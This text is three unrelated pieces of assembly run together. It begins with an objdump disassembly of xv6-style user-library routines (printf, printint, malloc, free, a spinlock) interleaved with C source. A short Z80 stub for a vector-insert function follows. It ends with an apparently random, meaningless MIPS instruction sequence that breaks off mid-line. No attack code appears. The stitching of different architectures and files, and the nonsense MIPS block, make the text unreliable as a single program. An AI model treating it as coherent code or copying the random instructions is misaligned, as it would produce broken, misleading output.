mov $0xc,%eax 132f: cd 40 int $0x40 1331: c3 ret 00001332 <sleep>: SYSCALL(sleep) 1332: b8 0d 00 00 00 mov $0xd,%eax 1337: cd 40 int $0x40 1339: c3 ret 0000133a <uptime>: SYSCALL(uptime) 133a: b8 0e 00 00 00 mov $0xe,%eax 133f: cd 40 int $0x40 1341: c3 ret 00001342 <shm_open>: SYSCALL(shm_open) 1342: b8 16 00 00 00 mov $0x16,%eax 1347: cd 40 int $0x40 1349: c3 ret 0000134a <shm_close>: SYSCALL(shm_close) 134a: b8 17 00 00 00 mov $0x17,%eax 134f: cd 40 int $0x40 1351: c3 ret 1352: 66 90 xchg %ax,%ax 1354: 66 90 xchg %ax,%ax 1356: 66 90 xchg %ax,%ax 1358: 66 90 xchg %ax,%ax 135a: 66 90 xchg %ax,%ax 135c: 66 90 xchg %ax,%ax 135e: 66 90 xchg %ax,%ax 00001360 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1360: 55 push %ebp 1361: 89 e5 mov %esp,%ebp 1363: 57 push %edi 1364: 56 push %esi 1365: 89 c6 mov %eax,%esi 1367: 53 push %ebx 1368: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 136b: 8b 5d 08 mov 0x8(%ebp),%ebx 136e: 85 db test %ebx,%ebx 1370: 74 09 je 137b <printint+0x1b> 1372: 89 d0 mov %edx,%eax 1374: c1 e8 1f shr $0x1f,%eax 1377: 84 c0 test %al,%al 1379: 75 75 jne 13f0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 137b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 137d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 1384: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 1387: 31 ff xor %edi,%edi 1389: 89 ce mov %ecx,%esi 138b: 8d 5d d7 lea -0x29(%ebp),%ebx 138e: eb 02 jmp 1392 <printint+0x32> do{ buf[i++] = digits[x % base]; 1390: 89 cf mov %ecx,%edi 1392: 31 d2 xor %edx,%edx 1394: f7 f6 div %esi 1396: 8d 4f 01 lea 0x1(%edi),%ecx 1399: 0f b6 92 b1 17 00 00 movzbl 0x17b1(%edx),%edx }while((x /= base) != 0); 13a0: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 13a2: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 13a5: 75 e9 jne 1390 <printint+0x30> if(neg) 13a7: 8b 55 c4 mov -0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 13aa: 89 c8 mov %ecx,%eax 13ac: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 13af: 85 d2 test %edx,%edx 13b1: 74 08 je 13bb <printint+0x5b> buf[i++] = '-'; 13b3: 8d 4f 02 lea 0x2(%edi),%ecx 13b6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 13bb: 8d 79 ff lea -0x1(%ecx),%edi 13be: 66 90 xchg %ax,%ax 13c0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 13c5: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 13c8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 13cf: 00 13d0: 89 5c 24 04 mov %ebx,0x4(%esp) 13d4: 89 34 24 mov %esi,(%esp) 13d7: 88 45 d7 mov %al,-0x29(%ebp) 13da: e8 e3 fe ff ff call 12c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 13df: 83 ff ff cmp $0xffffffff,%edi 13e2: 75 dc jne 13c0 <printint+0x60> putc(fd, buf[i]); } 13e4: 83 c4 4c add $0x4c,%esp 13e7: 5b pop %ebx 13e8: 5e pop %esi 13e9: 5f pop %edi 13ea: 5d pop %ebp 13eb: c3 ret 13ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 13f0: 89 d0 mov %edx,%eax 13f2: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 13f4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 13fb: eb 87 jmp 1384 <printint+0x24> 13fd: 8d 76 00 lea 0x0(%esi),%esi 00001400 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1400: 55 push %ebp 1401: 89 e5 mov %esp,%ebp 1403: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 1404: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1406: 56 push %esi 1407: 53 push %ebx 1408: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 140b: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 140e: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1411: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 1414: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 1417: 0f b6 13 movzbl (%ebx),%edx 141a: 83 c3 01 add $0x1,%ebx 141d: 84 d2 test %dl,%dl 141f: 75 39 jne 145a <printf+0x5a> 1421: e9 c2 00 00 00 jmp 14e8 <printf+0xe8> 1426: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 1428: 83 fa 25 cmp $0x25,%edx 142b: 0f 84 bf 00 00 00 je 14f0 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1431: 8d 45 e2 lea -0x1e(%ebp),%eax 1434: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 143b: 00 143c: 89 44 24 04 mov %eax,0x4(%esp) 1440: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 1443: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1446: e8 77 fe ff ff call 12c2 <write> 144b: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 144e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 1452: 84 d2 test %dl,%dl 1454: 0f 84 8e 00 00 00 je 14e8 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 145a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 145c: 0f be c2 movsbl %dl,%eax if(state == 0){ 145f: 74 c7 je 1428 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 1461: 83 ff 25 cmp $0x25,%edi 1464: 75 e5 jne 144b <printf+0x4b> if(c == 'd'){ 1466: 83 fa 64 cmp $0x64,%edx 1469: 0f 84 31 01 00 00 je 15a0 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 146f: 25 f7 00 00 00 and $0xf7,%eax 1474: 83 f8 70 cmp $0x70,%eax 1477: 0f 84 83 00 00 00 je 1500 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 147d: 83 fa 73 cmp $0x73,%edx 1480: 0f 84 a2 00 00 00 je 1528 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 1486: 83 fa 63 cmp $0x63,%edx 1489: 0f 84 35 01 00 00 je 15c4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 148f: 83 fa 25 cmp $0x25,%edx 1492: 0f 84 e0 00 00 00 je 1578 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1498: 8d 45 e6 lea -0x1a(%ebp),%eax 149b: 83 c3 01 add $0x1,%ebx 149e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 14a5: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 14a6: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 14a8: 89 44 24 04 mov %eax,0x4(%esp) 14ac: 89 34 24 mov %esi,(%esp) 14af: 89 55 d0 mov %edx,-0x30(%ebp) 14b2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 14b6: e8 07 fe ff ff call 12c2 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 14bb: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 14be: 8d 45 e7 lea -0x19(%ebp),%eax 14c1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 14c8: 00 14c9: 89 44 24 04 mov %eax,0x4(%esp) 14cd: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 14d0: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 14d3: e8 ea fd ff ff call 12c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 14d8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 14dc: 84 d2 test %dl,%dl 14de: 0f 85 76 ff ff ff jne 145a <printf+0x5a> 14e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 14e8: 83 c4 3c add $0x3c,%esp 14eb: 5b pop %ebx 14ec: 5e pop %esi 14ed: 5f pop %edi 14ee: 5d pop %ebp 14ef: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 14f0: bf 25 00 00 00 mov $0x25,%edi 14f5: e9 51 ff ff ff jmp 144b <printf+0x4b> 14fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 1500: 8b 45 d4 mov -0x2c(%ebp),%eax 1503: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 1508: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 150a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1511: 8b 10 mov (%eax),%edx 1513: 89 f0 mov %esi,%eax 1515: e8 46 fe ff ff call 1360 <printint> ap++; 151a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 151e: e9 28 ff ff ff jmp 144b <printf+0x4b> 1523: 90 nop 1524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 1528: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 152b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 152f: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 1531: b8 aa 17 00 00 mov $0x17aa,%eax 1536: 85 ff test %edi,%edi 1538: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 153b: 0f b6 07 movzbl (%edi),%eax 153e: 84 c0 test %al,%al 1540: 74 2a je 156c <printf+0x16c> 1542: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1548: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 154b: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 154e: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1551: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1558: 00 1559: 89 44 24 04 mov %eax,0x4(%esp) 155d: 89 34 24 mov %esi,(%esp) 1560: e8 5d fd ff ff call 12c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1565: 0f b6 07 movzbl (%edi),%eax 1568: 84 c0 test %al,%al 156a: 75 dc jne 1548 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 156c: 31 ff xor %edi,%edi 156e: e9 d8 fe ff ff jmp 144b <printf+0x4b> 1573: 90 nop 1574: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 1578: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 157b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 157d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1584: 00 1585: 89 44 24 04 mov %eax,0x4(%esp) 1589: 89 34 24 mov %esi,(%esp) 158c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 1590: e8 2d fd ff ff call 12c2 <write> 1595: e9 b1 fe ff ff jmp 144b <printf+0x4b> 159a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 15a0: 8b 45 d4 mov -0x2c(%ebp),%eax 15a3: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 15a8: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 15ab: c7 04 24 01 00 00 00 movl $0x1,(%esp) 15b2: 8b 10 mov (%eax),%edx 15b4: 89 f0 mov %esi,%eax 15b6: e8 a5 fd ff ff call 1360 <printint> ap++; 15bb: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 15bf: e9 87 fe ff ff jmp 144b <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 15c4: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 15c7: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 15c9: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 15cb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 15d2: 00 15d3: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 15d6: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 15d9: 8d 45 e4 lea -0x1c(%ebp),%eax 15dc: 89 44 24 04 mov %eax,0x4(%esp) 15e0: e8 dd fc ff ff call 12c2 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 15e5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 15e9: e9 5d fe ff ff jmp 144b <printf+0x4b> 15ee: 66 90 xchg %ax,%ax 000015f0 <free>: static Header base; static Header *freep; void free(void *ap) { 15f0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15f1: a1 6c 1a 00 00 mov 0x1a6c,%eax static Header base; static Header *freep; void free(void *ap) { 15f6: 89 e5 mov %esp,%ebp 15f8: 57 push %edi 15f9: 56 push %esi 15fa: 53 push %ebx 15fb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 15fe: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 1600: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1603: 39 d0 cmp %edx,%eax 1605: 72 11 jb 1618 <free+0x28> 1607: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1608: 39 c8 cmp %ecx,%eax 160a: 72 04 jb 1610 <free+0x20> 160c: 39 ca cmp %ecx,%edx 160e: 72 10 jb 1620 <free+0x30> 1610: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1612: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1614: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1616: 73 f0 jae 1608 <free+0x18> 1618: 39 ca cmp %ecx,%edx 161a: 72 04 jb 1620 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 161c: 39 c8 cmp %ecx,%eax 161e: 72 f0 jb 1610 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 1620: 8b 73 fc mov -0x4(%ebx),%esi 1623: 8d 3c f2 lea (%edx,%esi,8),%edi 1626: 39 cf cmp %ecx,%edi 1628: 74 1e je 1648 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 162a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 162d: 8b 48 04 mov 0x4(%eax),%ecx 1630: 8d 34 c8 lea (%eax,%ecx,8),%esi 1633: 39 f2 cmp %esi,%edx 1635: 74 28 je 165f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 1637: 89 10 mov %edx,(%eax) freep = p; 1639: a3 6c 1a 00 00 mov %eax,0x1a6c } 163e: 5b pop %ebx 163f: 5e pop %esi 1640: 5f pop %edi 1641: 5d pop %ebp 1642: c3 ret 1643: 90 nop 1644: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 1648: 03 71 04 add 0x4(%ecx),%esi 164b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 164e: 8b 08 mov (%eax),%ecx 1650: 8b 09 mov (%ecx),%ecx 1652: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 1655: 8b 48 04 mov 0x4(%eax),%ecx 1658: 8d 34 c8 lea (%eax,%ecx,8),%esi 165b: 39 f2 cmp %esi,%edx 165d: 75 d8 jne 1637 <free+0x47> p->s.size += bp->s.size; 165f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 1662: a3 6c 1a 00 00 mov %eax,0x1a6c bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 1667: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 166a: 8b 53 f8 mov -0x8(%ebx),%edx 166d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 166f: 5b pop %ebx 1670: 5e pop %esi 1671: 5f pop %edi 1672: 5d pop %ebp 1673: c3 ret 1674: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 167a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00001680 <malloc>: return freep; } void* malloc(uint nbytes) { 1680: 55 push %ebp 1681: 89 e5 mov %esp,%ebp 1683: 57 push %edi 1684: 56 push %esi 1685: 53 push %ebx 1686: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1689: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 168c: 8b 1d 6c 1a 00 00 mov 0x1a6c,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1692: 8d 48 07 lea 0x7(%eax),%ecx 1695: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 1698: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 169a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 169d: 0f 84 9b 00 00 00 je 173e <malloc+0xbe> 16a3: 8b 13 mov (%ebx),%edx 16a5: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 16a8: 39 fe cmp %edi,%esi 16aa: 76 64 jbe 1710 <malloc+0x90> 16ac: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 16b3: bb 00 80 00 00 mov $0x8000,%ebx 16b8: 89 45 e4 mov %eax,-0x1c(%ebp) 16bb: eb 0e jmp 16cb <malloc+0x4b> 16bd: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 16c0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 16c2: 8b 78 04 mov 0x4(%eax),%edi 16c5: 39 fe cmp %edi,%esi 16c7: 76 4f jbe 1718 <malloc+0x98> 16c9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 16cb: 3b 15 6c 1a 00 00 cmp 0x1a6c,%edx 16d1: 75 ed jne 16c0 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 16d3: 8b 45 e4 mov -0x1c(%ebp),%eax 16d6: 81 fe 00 10 00 00 cmp $0x1000,%esi 16dc: bf 00 10 00 00 mov $0x1000,%edi 16e1: 0f 43 fe cmovae %esi,%edi 16e4: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 16e7: 89 04 24 mov %eax,(%esp) 16ea: e8 3b fc ff ff call 132a <sbrk> if(p == (char*)-1) 16ef: 83 f8 ff cmp $0xffffffff,%eax 16f2: 74 18 je 170c <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 16f4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 16f7: 83 c0 08 add $0x8,%eax 16fa: 89 04 24 mov %eax,(%esp) 16fd: e8 ee fe ff ff call 15f0 <free> return freep; 1702: 8b 15 6c 1a 00 00 mov 0x1a6c,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 1708: 85 d2 test %edx,%edx 170a: 75 b4 jne 16c0 <malloc+0x40> return 0; 170c: 31 c0 xor %eax,%eax 170e: eb 20 jmp 1730 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 1710: 89 d0 mov %edx,%eax 1712: 89 da mov %ebx,%edx 1714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1718: 39 fe cmp %edi,%esi 171a: 74 1c je 1738 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 171c: 29 f7 sub %esi,%edi 171e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 1721: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 1724: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 1727: 89 15 6c 1a 00 00 mov %edx,0x1a6c return (void*)(p + 1); 172d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 1730: 83 c4 1c add $0x1c,%esp 1733: 5b pop %ebx 1734: 5e pop %esi 1735: 5f pop %edi 1736: 5d pop %ebp 1737: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 1738: 8b 08 mov (%eax),%ecx 173a: 89 0a mov %ecx,(%edx) 173c: eb e9 jmp 1727 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 173e: c7 05 6c 1a 00 00 70 movl $0x1a70,0x1a6c 1745: 1a 00 00 base.s.size = 0; 1748: ba 70 1a 00 00 mov $0x1a70,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 174d: c7 05 70 1a 00 00 70 movl $0x1a70,0x1a70 1754: 1a 00 00 base.s.size = 0; 1757: c7 05 74 1a 00 00 00 movl $0x0,0x1a74 175e: 00 00 00 1761: e9 46 ff ff ff jmp 16ac <malloc+0x2c> 1766: 66 90 xchg %ax,%ax 1768: 66 90 xchg %ax,%ax 176a: 66 90 xchg %ax,%ax 176c: 66 90 xchg %ax,%ax 176e: 66 90 xchg %ax,%ax 00001770 <uacquire>: #include "uspinlock.h" #include "x86.h" void uacquire(struct uspinlock *lk) { 1770: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1771: b9 01 00 00 00 mov $0x1,%ecx 1776: 89 e5 mov %esp,%ebp 1778: 8b 55 08 mov 0x8(%ebp),%edx 177b: 90 nop 177c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1780: 89 c8 mov %ecx,%eax 1782: f0 87 02 lock xchg %eax,(%edx) // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 1785: 85 c0 test %eax,%eax 1787: 75 f7 jne 1780 <uacquire+0x10> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 1789: 0f ae f0 mfence } 178c: 5d pop %ebp 178d: c3 ret 178e: 66 90 xchg %ax,%ax 00001790 <urelease>: void urelease (struct uspinlock *lk) { 1790: 55 push %ebp 1791: 89 e5 mov %esp,%ebp 1793: 8b 45 08 mov 0x8(%ebp),%eax __sync_synchronize(); 1796: 0f ae f0 mfence // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 1799: c7 00 00 00 00 00 movl $0x0,(%eax) } 179f: 5d pop %ebp 17a0: c3 ret
; size_t w_vector_insert_n(w_vector_t *v, size_t idx, size_t n, void *item) SECTION code_adt_w_vector PUBLIC _w_vector_insert_n EXTERN l0_w_vector_insert_n_callee _w_vector_insert_n: exx pop bc exx pop hl pop bc pop de pop af push af push de push bc push hl jp l0_w_vector_insert_n_callee
addu $5,$3,$3 lw $4,4($0) sh $4,6($0) sltiu $4,$3,-28666 nor $1,$0,$3 nor $0,$6,$3 lw $5,12($0) nor $6,$4,$3 subu $3,$4,$3 ori $3,$0,52320 sllv $1,$1,$3 addiu $4,$6,21030 srav $4,$4,$3 nor $6,$4,$3 sll $3,$4,4 subu $4,$2,$3 lbu $3,11($0) srav $3,$3,$3 addu $0,$4,$3 slti $6,$6,21284 sll $6,$6,11 lb $0,8($0) slt $6,$1,$3 addu $3,$0,$3 sb $1,16($0) xor $1,$3,$3 lb $4,4($0) sb $5,5($0) xor $3,$1,$3 lb $4,11($0) srav $3,$3,$3 lh $1,14($0) and $4,$4,$3 and $5,$3,$3 sllv $3,$5,$3 lb $1,5($0) sra $4,$4,28 sll $4,$0,26 xor $5,$1,$3 subu $5,$2,$3 srlv $3,$3,$3 subu $4,$6,$3 and $0,$3,$3 sra $0,$3,3 and $5,$3,$3 xori $3,$3,8422 addiu $6,$0,2493 addiu $5,$3,-14250 sltiu $3,$3,-28813 sltiu $0,$0,-3334 xori $4,$4,63792 and $3,$3,$3 sra $4,$4,10 sltiu $4,$5,-7179 lhu $0,14($0) sw $3,16($0) sltiu $3,$6,16358 sw $4,16($0) srav $6,$6,$3 slti $4,$4,10244 sllv $3,$5,$3 ori 